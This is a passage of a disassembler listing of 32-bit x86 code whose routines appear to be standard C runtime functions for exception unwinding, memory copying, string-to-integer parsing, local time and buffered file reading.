loc_4161F3: ; CODE XREF: sub_416183+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_416183 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416200 proc near ; CODE XREF: sub_41D6A4+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_416218
push [ebp+arg_0]
call sub_420A0C ; RtlUnwind
loc_416218: ; DATA XREF: sub_416200+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416200 endp
; =============== S U B R O U T I N E =======================================
sub_416220 proc near ; DATA XREF: sub_416242+Ao
; sub_4162AA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_416241
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_416241: ; CODE XREF: sub_416220+10j
retn
sub_416220 endp
; =============== S U B R O U T I N E =======================================
sub_416242 proc near ; CODE XREF: sub_41B0FA+Dp
; sub_41D6A4+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_416220
push large dword ptr fs:0
mov large fs:0, esp
loc_41625F: ; CODE XREF: sub_416242:loc_41629Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41629C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41629C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41629A
push 101h
mov eax, [ebx+esi*4+8]
call sub_4162D6
call dword ptr [ebx+esi*4+8]
loc_41629A: ; CODE XREF: sub_416242+44j
jmp short loc_41625F
; ---------------------------------------------------------------------------
loc_41629C: ; CODE XREF: sub_416242+2Aj
; sub_416242+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_416242 endp
; =============== S U B R O U T I N E =======================================
sub_4162AA proc near ; CODE XREF: sub_41B11A+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_416220
jnz short locret_4162CC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4162CC
mov eax, 1
locret_4162CC: ; CODE XREF: sub_4162AA+10j
; sub_4162AA+1Bj
retn
sub_4162AA endp
; =============== S U B R O U T I N E =======================================
sub_4162CD proc near ; CODE XREF: sub_41B3E0+1Ep
; sub_41B3E0+40p
push ebx
push ecx
mov ebx, offset dword_437EFC
jmp short loc_4162E0
sub_4162CD endp
; =============== S U B R O U T I N E =======================================
sub_4162D6 proc near ; CODE XREF: sub_416242+4Fp
; sub_41D6A4+78p
push ebx
push ecx
mov ebx, offset dword_437EFC
mov ecx, [ebp+8]
loc_4162E0: ; CODE XREF: sub_4162CD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_4162D6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4162F0 proc near ; CODE XREF: sub_40467C+5p
; sub_40481B+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4162F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41630F proc near ; CODE XREF: sub_404CE4+22p
; seg001:004207E5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_415C9B
pop ecx
retn
sub_41630F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416320 proc near ; CODE XREF: sub_404D51+3Ap
; sub_418CE8+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_39 = byte ptr 41h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_416340
cmp edi, eax
jb loc_4164B8
loc_416340: ; CODE XREF: sub_416320+16j
test edi, 3
jnz short loc_41635C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
loc_41635C: ; CODE XREF: sub_416320+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_416374
and eax, 3
add ecx, eax
jmp dword ptr loc_41637C+4[eax*4]
; ---------------------------------------------------------------------------
loc_416374: ; CODE XREF: sub_416320+46j
jmp dword ptr loc_416478[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41637C: ; CODE XREF: sub_416320+31j
; sub_416320+8Ej ...
jmp off_4163FC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 63h, 41h, 0
dd offset loc_4163BC
dd offset loc_4163E0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4163BC: ; DATA XREF: sub_416320+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4163E0: ; DATA XREF: sub_416320+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41637C
rep movsd
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4163FC dd offset loc_41645F ; DATA XREF: sub_416320:loc_41637Cr
dd offset loc_41644C
dd offset loc_416444
dd offset loc_41643C
dd offset loc_416434
dd offset loc_41642C
dd offset loc_416424
dd offset loc_41641C
; ---------------------------------------------------------------------------
loc_41641C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_416424: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41642C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_416434: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41643C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_416444: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41644C: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41645F: ; CODE XREF: sub_416320:loc_41637Cj
; DATA XREF: sub_416320:off_4163FCo
jmp off_416468[edx*4]
; ---------------------------------------------------------------------------
align 4
off_416468 dd offset loc_416478 ; DATA XREF: sub_416320+35r
; sub_416320+92r ...
dd offset loc_416480
dd offset loc_41648C
dd offset loc_4164A0
; ---------------------------------------------------------------------------
loc_416478: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_416480: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41648C: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4164A0: ; CODE XREF: sub_416320+35j
; sub_416320+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4164B8: ; CODE XREF: sub_416320+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4164EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4164E0: ; CODE XREF: sub_416320+1B1j
; sub_416320+208j ...
neg ecx
jmp off_4165B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4164EC: ; CODE XREF: sub_416320+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_416504
and eax, 3
sub ecx, eax
jmp dword ptr loc_416504+4[eax*4]
; ---------------------------------------------------------------------------
loc_416504: ; CODE XREF: sub_416320+1D6j
; DATA XREF: sub_416320+1DDr
jmp off_416600[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416517+1
; ---------------------------------------------------------------------------
cmp [ebp+arg_39], ah
add [eax+65h], ah
inc ecx
loc_416517: ; DATA XREF: sub_416320+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4164E0
std
rep movsd
cld
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4165B4
dd offset loc_4165BC
dd offset loc_4165C4
dd offset loc_4165CC
dd offset loc_4165D4
dd offset loc_4165DC
dd offset loc_4165E4
off_4165B0 dd offset loc_4165F7 ; DATA XREF: sub_416320+1C2r
; ---------------------------------------------------------------------------
loc_4165B4: ; DATA XREF: sub_416320+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_4165BC: ; DATA XREF: sub_416320+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_4165C4: ; DATA XREF: sub_416320+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_4165CC: ; DATA XREF: sub_416320+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4165D4: ; DATA XREF: sub_416320+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4165DC: ; DATA XREF: sub_416320+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4165E4: ; DATA XREF: sub_416320+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4165F7: ; CODE XREF: sub_416320+1C2j
; DATA XREF: sub_416320:off_4165B0o
jmp off_416600[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_416600 dd offset loc_416610 ; DATA XREF: sub_416320+1B7r
; sub_416320:loc_416504r ...
dd offset loc_416618
dd offset loc_416628
dd offset loc_41663C
; ---------------------------------------------------------------------------
loc_416610: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416618: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416628: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41663C: ; CODE XREF: sub_416320+1B7j
; sub_416320:loc_416504j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_416320 endp
; =============== S U B R O U T I N E =======================================
sub_416655 proc near ; CODE XREF: sub_404DB8+34p
; sub_404DB8+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_415BFB
pop ecx
pop ecx
retn
sub_416655 endp
; =============== S U B R O U T I N E =======================================
sub_416663 proc near ; CODE XREF: sub_4166D0+4p
arg_0 = dword ptr 4
push esi
push dword_46CCBC
call sub_41B4D8
mov edx, dword_46CCBC
pop ecx
mov ecx, dword_46CCB8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_4166C2
push edx
call sub_41B4D8
add eax, 10h
push eax
push dword_46CCBC
call sub_41737F
add esp, 0Ch
test eax, eax
jnz short loc_4166A5
retn
; ---------------------------------------------------------------------------
loc_4166A5: ; CODE XREF: sub_416663+3Fj
mov ecx, dword_46CCB8
sub ecx, dword_46CCBC
mov dword_46CCBC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_46CCB8, ecx
loc_4166C2: ; CODE XREF: sub_416663+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_46CCB8, 4
retn
sub_416663 endp
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_404EA5+1Ap
; sub_4209EE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_416663
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_4166D0 endp
; =============== S U B R O U T I N E =======================================
sub_4166E2 proc near ; DATA XREF: seg001:00423018o
push 80h
call sub_415BE9
test eax, eax
pop ecx
mov dword_46CCBC, eax
jnz short loc_416703
push 18h
call sub_417C0E
mov eax, dword_46CCBC
pop ecx
loc_416703: ; CODE XREF: sub_4166E2+12j
and dword ptr [eax], 0
mov eax, dword_46CCBC
mov dword_46CCB8, eax
retn
sub_4166E2 endp
; =============== S U B R O U T I N E =======================================
sub_416711 proc near ; CODE XREF: sub_418AD0+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416728
add esp, 10h
retn
sub_416711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416728 proc near ; CODE XREF: sub_416711+Ep
; sub_416930+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_416740: ; CODE XREF: sub_416728+46j
cmp dword_43812C, 1
jle short loc_416758
movzx eax, bl
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_416767
; ---------------------------------------------------------------------------
loc_416758: ; CODE XREF: sub_416728+1Fj
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_416767: ; CODE XREF: sub_416728+2Ej
test eax, eax
jz short loc_416770
mov bl, [esi]
inc esi
jmp short loc_416740
; ---------------------------------------------------------------------------
loc_416770: ; CODE XREF: sub_416728+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41677E
or [ebp+arg_C], 2
jmp short loc_416783
; ---------------------------------------------------------------------------
loc_41677E: ; CODE XREF: sub_416728+4Ej
cmp bl, 2Bh
jnz short loc_416789
loc_416783: ; CODE XREF: sub_416728+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_416789: ; CODE XREF: sub_416728+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_416920
cmp eax, 1
jz loc_416920
cmp eax, 24h
jg loc_416920
push 10h
test eax, eax
pop ecx
jnz short loc_4167D1
cmp bl, 30h
jz short loc_4167BB
mov [ebp+arg_8], 0Ah
jmp short loc_4167ED
; ---------------------------------------------------------------------------
loc_4167BB: ; CODE XREF: sub_416728+88j
mov al, [esi]
cmp al, 78h
jz short loc_4167CE
cmp al, 58h
jz short loc_4167CE
mov [ebp+arg_8], 8
jmp short loc_4167ED
; ---------------------------------------------------------------------------
loc_4167CE: ; CODE XREF: sub_416728+97j
; sub_416728+9Bj
mov [ebp+arg_8], ecx
loc_4167D1: ; CODE XREF: sub_416728+83j
cmp [ebp+arg_8], ecx
jnz short loc_4167ED
cmp bl, 30h
jnz short loc_4167ED
mov al, [esi]
cmp al, 78h
jz short loc_4167E5
cmp al, 58h
jnz short loc_4167ED
loc_4167E5: ; CODE XREF: sub_416728+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4167ED: ; CODE XREF: sub_416728+91j
; sub_416728+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_4167FD: ; CODE XREF: sub_416728+16Cj
cmp dword_43812C, 1
movzx esi, bl
jle short loc_416815
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_416820
; ---------------------------------------------------------------------------
loc_416815: ; CODE XREF: sub_416728+DFj
mov eax, off_437F20
mov al, [eax+esi*2]
and eax, 4
loc_416820: ; CODE XREF: sub_416728+EBj
test eax, eax
jz short loc_41682C
movsx ecx, bl
sub ecx, 30h
jmp short loc_41685E
; ---------------------------------------------------------------------------
loc_41682C: ; CODE XREF: sub_416728+FAj
cmp dword_43812C, 1
jle short loc_416840
push edi
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_41684B
; ---------------------------------------------------------------------------
loc_416840: ; CODE XREF: sub_416728+10Bj
mov eax, off_437F20
mov ax, [eax+esi*2]
and eax, edi
loc_41684B: ; CODE XREF: sub_416728+116j
test eax, eax
jz short loc_416899
movsx eax, bl
push eax
call sub_41B539
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41685E: ; CODE XREF: sub_416728+102j
cmp ecx, [ebp+arg_8]
jnb short loc_416899
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_416883
jnz short loc_41687D
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_416883
loc_41687D: ; CODE XREF: sub_416728+147j
or [ebp+arg_C], 4
jmp short loc_41688C
; ---------------------------------------------------------------------------
loc_416883: ; CODE XREF: sub_416728+145j
; sub_416728+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41688C: ; CODE XREF: sub_416728+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_4167FD
; ---------------------------------------------------------------------------
loc_416899: ; CODE XREF: sub_416728+125j
; sub_416728+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4168B7
test edx, edx
jz short loc_4168B1
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4168B1: ; CODE XREF: sub_416728+181j
and [ebp+var_8], 0
jmp short loc_416904
; ---------------------------------------------------------------------------
loc_4168B7: ; CODE XREF: sub_416728+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_4168DD
test cl, 1
jnz short loc_416904
and ecx, 2
jz short loc_4168D4
cmp [ebp+var_8], 80000000h
ja short loc_4168DD
loc_4168D4: ; CODE XREF: sub_416728+1A1j
test ecx, ecx
jnz short loc_416904
cmp [ebp+var_8], eax
jbe short loc_416904
loc_4168DD: ; CODE XREF: sub_416728+197j
; sub_416728+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_46B634, 22h
jz short loc_4168F3
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_416904
; ---------------------------------------------------------------------------
loc_4168F3: ; CODE XREF: sub_416728+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_416904: ; CODE XREF: sub_416728+18Dj
; sub_416728+19Cj ...
test edx, edx
jz short loc_41690D
mov eax, [ebp+var_4]
mov [edx], eax
loc_41690D: ; CODE XREF: sub_416728+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41691B
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41691B: ; CODE XREF: sub_416728+1E9j
mov eax, [ebp+var_8]
jmp short loc_41692B
; ---------------------------------------------------------------------------
loc_416920: ; CODE XREF: sub_416728+66j
; sub_416728+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_416929
mov [eax], edi
loc_416929: ; CODE XREF: sub_416728+1FDj
xor eax, eax
loc_41692B: ; CODE XREF: sub_416728+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_416728 endp
; =============== S U B R O U T I N E =======================================
sub_416930 proc near ; CODE XREF: sub_405398+4A6p
; sub_40CD3A+359Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416728
add esp, 10h
retn
sub_416930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416947 proc near ; CODE XREF: sub_405398+24Cp
; sub_405398+450p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_415B10
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41B605
add esp, 10h
leave
retn
sub_416947 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41697B proc near ; CODE XREF: sub_405398+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_42115C ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_46B62A
jnz short loc_4169E0
mov ax, [ebp+var_18]
cmp ax, word_46B628
jnz short loc_4169E0
mov ax, [ebp+var_1A]
cmp ax, word_46B626
jnz short loc_4169E0
mov ax, [ebp+var_1E]
cmp ax, word_46B622
jnz short loc_4169E0
mov ax, [ebp+var_20]
cmp ax, word_46B620
jnz short loc_4169E0
mov eax, dword_46B618
jmp short loc_416A25
; ---------------------------------------------------------------------------
loc_4169E0: ; CODE XREF: sub_41697B+28j
; sub_41697B+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_421158 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_416A0D
cmp eax, 2
jnz short loc_416A09
cmp [ebp+var_32], 0
jz short loc_416A09
cmp [ebp+var_24], 0
jz short loc_416A09
push 1
pop eax
jmp short loc_416A10
; ---------------------------------------------------------------------------
loc_416A09: ; CODE XREF: sub_41697B+7Aj
; sub_41697B+81j ...
xor eax, eax
jmp short loc_416A10
; ---------------------------------------------------------------------------
loc_416A0D: ; CODE XREF: sub_41697B+75j
or eax, 0FFFFFFFFh
loc_416A10: ; CODE XREF: sub_41697B+8Cj
; sub_41697B+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_46B620
movsd
movsd
movsd
movsd
pop edi
mov dword_46B618, eax
pop esi
loc_416A25: ; CODE XREF: sub_41697B+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41C0B6
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_416A55
mov [ecx], eax
locret_416A55: ; CODE XREF: sub_41697B+D6j
leave
retn
sub_41697B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A57 proc near ; CODE XREF: sub_4059FC+4Ep
; sub_406B84+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_416A7B
xor eax, eax
jmp loc_416B24
; ---------------------------------------------------------------------------
loc_416A7B: ; CODE XREF: sub_416A57+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_416A8E
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_416A9A
; ---------------------------------------------------------------------------
loc_416A8E: ; CODE XREF: sub_416A57+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_416A9A
; ---------------------------------------------------------------------------
loc_416A97: ; CODE XREF: sub_416A57+C4j
mov ecx, [ebp+arg_0]
loc_416A9A: ; CODE XREF: sub_416A57+35j
; sub_416A57+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_416ACC
mov eax, [esi+4]
test eax, eax
jz short loc_416ACC
cmp ecx, eax
mov edi, ecx
jb short loc_416AB1
mov edi, eax
loc_416AB1: ; CODE XREF: sub_416A57+56j
push edi
push dword ptr [esi]
push ebx
call sub_4153F0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_416B17
; ---------------------------------------------------------------------------
loc_416ACC: ; CODE XREF: sub_416A57+49j
; sub_416A57+50j
cmp ecx, [ebp+arg_C]
jb short loc_416AFF
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_416AE2
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_416AE2: ; CODE XREF: sub_416A57+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41C251
add esp, 0Ch
test eax, eax
jz short loc_416B29
cmp eax, 0FFFFFFFFh
jz short loc_416B2F
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_416B17
; ---------------------------------------------------------------------------
loc_416AFF: ; CODE XREF: sub_416A57+78j
push esi
call sub_41C178
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416B33
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_416B17: ; CODE XREF: sub_416A57+73j
; sub_416A57+A6j
cmp [ebp+arg_0], 0
jnz loc_416A97
mov eax, [ebp+arg_8]
loc_416B24: ; CODE XREF: sub_416A57+1Fj
; sub_416A57+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416B29: ; CODE XREF: sub_416A57+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_416B33
; ---------------------------------------------------------------------------
loc_416B2F: ; CODE XREF: sub_416A57+9Fj
or dword ptr [esi+0Ch], 20h
loc_416B33: ; CODE XREF: sub_416A57+B2j
; sub_416A57+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_416B24
sub_416A57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B3F proc near ; CODE XREF: sub_405A96+2A1p
; sub_406048+100p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
